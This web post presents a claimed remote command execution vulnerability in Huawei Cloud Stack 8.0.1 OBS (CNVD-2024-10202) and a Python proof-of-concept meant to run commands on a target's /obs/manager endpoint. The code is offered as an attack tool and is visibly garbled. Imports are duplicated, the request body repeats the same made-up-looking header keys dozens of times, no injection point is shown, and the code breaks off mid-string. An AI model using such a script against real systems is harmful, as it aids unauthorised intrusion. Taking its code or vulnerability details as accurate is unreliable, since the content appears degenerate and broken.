Huawei Cloud Stack OBS Remote Command Execution Vulnerability (CNVD-2024-10202) and POC

Vulnerability Overview Vulnerability Name: Huawei Cloud Stack 8.0.1 Object Storage Service (OBS) Remote Command Execution Vulnerability Vulnerability ID: CNVD-2024-10202 Vulnerability Type: Remote Command Execution Vulnerability Description: Huawei Cloud Stack 8.0.1 Object Storage Service (OBS) contains a remote command execution vulnerability. Attackers can exploit this vulnerability to execute arbitrary commands within the affected application. Affected Scope Affected Product: Huawei Cloud Stack 8.0.1 Object Storage Service (OBS) Remediation Plan Recommendation: No official patch is currently available. Users are advised to monitor official updates or implement other security mitigation measures. POC Code ```python import requests import json import sys import time import base64 import urllib3 import subprocess import os import re import random import string import hashlib import requests import urllib3 from urllib.parse import urljoin from requests.packages.urllib3.exceptions import InsecureRequestWarning urllib3.disable_warnings(InsecureRequestWarning) def title(): print('+------------------------------------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mVersion: Huawei Cloud Stack 8.0.1 Object Storage Service (OBS) \033[0m') print('+ \033[36mUsage: python3 peiqi-yuncun-obs-rce.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m') print('+ \033[36mCommand >>> whoami \033[0m') print('+------------------------------------------') def POC_1(target_url, command): vuln_url = target_url + "/obs/manager" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/json" } data = { "method": "create", "params": { "name": "test", "bucket": "test", "location": "cn-north-4", "storageClass": "STANDARD", "acl": "private", "metadata": { "x-obs-server-side-encryption": "AES256", "x-obs-server-side-encryption-customer-algorithm": "AES256", "x-obs-server-side-encryption-customer-key": "dGVzdA==", "x-obs-server-side-encryption-customer-key-MD5": "bWQ1", "x-obs-server-side-encryption-context": "eyJ4LW9icy1zZXJ2ZXItZW5jcnlwdGlvbjoiQUVTMjU2In0=", "x-obs-server-side-encryption-bucket-key-enabled": "true", "x-obs-req-trace-id": "test", "x-obs-request-charged": "true", "x-obs-tagging": "key1=value1&key2=value2", "x-obs-mfa": "1234567890", "x-obs-delete-marker": "true", "x-obs-version-id": "test", "x-obs-restore": "true", "x-obs-restore-request": "true", "x-obs-restore-request-type": "true", "x-obs-restore-request-days": "1", "x-obs-restore-request-priority": "1", "x-obs-restore-request-class": "true", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-res

Goal Reached Thanks to every supporter — we hit 100%!

Huawei Cloud Stack OBS Remote Command Execution Vulnerability (CNVD-2024-10202) and POC

More from this source